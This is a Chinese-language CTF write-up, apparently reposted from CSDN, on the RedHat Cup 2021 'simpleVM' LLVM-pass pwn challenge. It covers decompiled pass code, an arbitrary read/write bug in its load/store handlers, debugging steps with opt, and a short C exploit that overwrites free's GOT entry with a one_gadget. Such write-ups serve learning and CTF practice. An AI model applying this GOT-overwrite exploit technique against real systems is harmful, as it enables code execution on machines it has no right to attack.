欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 健康 > 美食 > CTF-PWN-LLVM-【红帽杯-2021 simpleVM】

CTF-PWN-LLVM-【红帽杯-2021 simpleVM】

2024/10/25 22:35:07 来源:https://blog.csdn.net/llovewuzhengzi/article/details/140048804  浏览:    关键词:CTF-PWN-LLVM-【红帽杯-2021 simpleVM】

文章目录

  • 参考
  • 检查
  • 逆向
  • 漏洞
  • 思路
  • 调试
  • 定位到PASS名
  • exp

参考

https://bbs.kanxue.com/thread-274259.htm#msg_header_h2_6

http://www.blackbird.wang/2022/08/30/LLVM-PASS%E7%B1%BBpwn%E9%A2%98%E6%80%BB%E7%BB%93/

检查

因为是用opt运行,加载动态库VMPASS.so的PASS类,再通过该PASS类对IR进行优化,所以pwn的是opt
在这里插入图片描述

逆向

搜索vtable定位到虚表,最下面的函数就是重写的虚函数runOnFunction
在这里插入图片描述
检查你优化的程序中的函数名,存在为o0o0o0o0就会调用sub_6AC0
在这里插入图片描述
以块为单位遍历该函数

在这里插入图片描述

然后调用sub_6B80处理块

__int64 __fastcall sub_6B80(__int64 a1, llvm::BasicBlock *basic_block)
{// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]command[1] = __readfsqword(0x28u);command[0] = llvm::BasicBlock::begin(basic_block);while ( 1 ){end = llvm::BasicBlock::end(basic_block);if ( (llvm::operator!=(command, &end) & 1) == 0 )break;v36 = (llvm::Instruction *)llvm::dyn_cast<llvm::Instruction,llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,false>>(command);if ( (unsigned int)llvm::Instruction::getOpcode(v36) == 55 )// 遇到call指令{v35 = (llvm::CallBase *)llvm::dyn_cast<llvm::CallInst,llvm::Instruction>(v36);// 转换为call指令对应的指针if ( v35 ){name = (char *)malloc(0x20uLL);CalledFunction = (llvm::Value *)llvm::CallBase::getCalledFunction(v35);v37 = (_QWORD *)llvm::Value::getName(CalledFunction);*(_QWORD *)name = *v37;*((_QWORD *)name + 1) = v37[1];*((_QWORD *)name + 2) = v37[2];*((_QWORD *)name + 3) = v37[3];if ( !strcmp(name, "pop") ){if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 ){ArgOperand = llvm::CallBase::getArgOperand(v35, 0);v32 = 0LL;v31 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(ArgOperand);if ( v31 ){ZExtValue = llvm::ConstantInt::getZExtValue(v31);if ( ZExtValue == 1 )v32 = off_20DFD0;if ( ZExtValue == 2 )v32 = off_20DFC0;}if ( v32 ){v3 = sp_point;*v32 = *(_QWORD *)*sp_point;*v3 = (char *)*v3 - 8;}}}else if ( !strcmp(name, "push") ){if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 ){v29 = llvm::CallBase::getArgOperand(v35, 0);v28 = 0LL;v27 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v29);if ( v27 ){v26 = llvm::ConstantInt::getZExtValue(v27);if ( v26 == 1 )v28 = off_20DFD0;if ( v26 == 2 )v28 = off_20DFC0;}if ( v28 ){v4 = sp_point;*sp_point = (char *)*sp_point + 8;*(_QWORD *)*v4 = *v28;}}}else if ( !strcmp(name, "store") ){if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 ){v25 = llvm::CallBase::getArgOperand(v35, 0);v24 = 0LL;v23 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v25);if ( v23 ){v22 = llvm::ConstantInt::getZExtValue(v23);if ( v22 == 1 )v24 = off_20DFD0;if ( v22 == 2 )v24 = off_20DFC0;}if ( v24 == off_20DFD0 ){**(_QWORD **)off_20DFD0 = *(_QWORD *)off_20DFC0;}else if ( v24 == off_20DFC0 ){**(_QWORD **)off_20DFC0 = *(_QWORD *)off_20DFD0;}}}else if ( !strcmp(name, "load") ){if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 ){v21 = llvm::CallBase::getArgOperand(v35, 0);v20 = 0LL;v19 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v21);if ( v19 ){v18 = llvm::ConstantInt::getZExtValue(v19);if ( v18 == 1 )v20 = off_20DFD0;if ( v18 == 2 )v20 = off_20DFC0;}if ( v20 == off_20DFD0 )*(_QWORD *)off_20DFC0 = **(_QWORD **)off_20DFD0;if ( v20 == off_20DFC0 )*(_QWORD *)off_20DFD0 = **(_QWORD **)off_20DFC0;}}else if ( !strcmp(name, "add") ){if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 3 ){v17 = llvm::CallBase::getArgOperand(v35, 0);v16 = 0LL;v15 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v17);if ( v15 ){v14 = llvm::ConstantInt::getZExtValue(v15);if ( v14 == 1 )v16 = off_20DFD0;if ( v14 == 2 )v16 = off_20DFC0;}if ( v16 ){v13 = llvm::CallBase::getArgOperand(v35, 1u);v12 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v13);if ( v12 )*v16 += llvm::ConstantInt::getZExtValue(v12);}}}else if ( !strcmp(name, "min") && (unsigned int)llvm::CallBase::getNumOperands(v35) == 3 ){v11 = llvm::CallBase::getArgOperand(v35, 0);v10 = 0LL;v9 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v11);if ( v9 ){v8 = llvm::ConstantInt::getZExtValue(v9);if ( v8 == 1 )v10 = off_20DFD0;if ( v8 == 2 )v10 = off_20DFC0;}if ( v10 ){v7 = llvm::CallBase::getArgOperand(v35, 1u);v6 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v7);if ( v6 )*v10 -= llvm::ConstantInt::getZExtValue(v6);}}free(name);}}llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,false>::operator++(command,0LL);}return 1LL;
}

漏洞

在这里插入图片描述
根据指定的寄存器,将指定的寄存器的值指向的内容赋值给另一个寄存器
在这里插入图片描述
根据指定的寄存器,将另一个寄存器赋值给指定的寄存器的值指向的内容

存在任意地址读写

思路

没开pie,通过任意地址读写修改修改free的got表为gadget,因为opt优化调用的函数最后会free
在这里插入图片描述
不太行,调用的不是pie中的free,使用其他函数在最后的free,
在这里插入图片描述
在这里插入图片描述
而如果最终到call free的指令,此时rbp为0,会出现段错误
在这里插入图片描述

这里参考winmt师傅的做法
在这里插入图片描述
选择这个
在这里插入图片描述
got表,发现两个got表,都试试吧

在这里插入图片描述
第二个失败,上面的那个成功

调试

clang-8 -emit-llvm -S exp.c -o exp.bc或者
clang-8 -emit-llvm -S exp.c -o exp.ll
opt-8 -load ./VMPass.so -VMPass ./exp.bc

调试opt然后跟进到so文件
在这里插入图片描述
opt并不会一开始就将so模块加载进来,会执行一些初始化函数才会加载so模块。
调试的时候可以把断点下载llvm::Pass::preparePassManager,程序执行到这里的时候就已经加载了LLVMHello.so文件(或者到main+11507),我们就可以根据偏移进一步将断点下在LLVMHello.so文件里面
查看vmmap,发现已经加载进来,然后可以更加偏移断在runOnFunction上
在这里插入图片描述
在这里插入图片描述

成功
在这里插入图片描述
发现寄存器一开始是零,所以add相当于直接赋值了

在这里插入图片描述
找到got表

在这里插入图片描述

定位到PASS名

_cxa_atexit引用定位(在start函数里)
在这里插入图片描述
在这里插入图片描述

exp

add第二个参数用64位
在这里插入图片描述


void add(int arg1,int arg2);
void load(int arg1);
void store(int arg1);void o0o0o0o0(){add(1,0x77e100);load(1); //将free的got表的内容复制给第二个寄存器add(2,0x4942e); //free的地址和onegadget的偏移add(1,0x870);store(1); //修改free的got表的内容}//0xe3b04 0xe3b01 0000000000006F8F

在这里插入图片描述

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com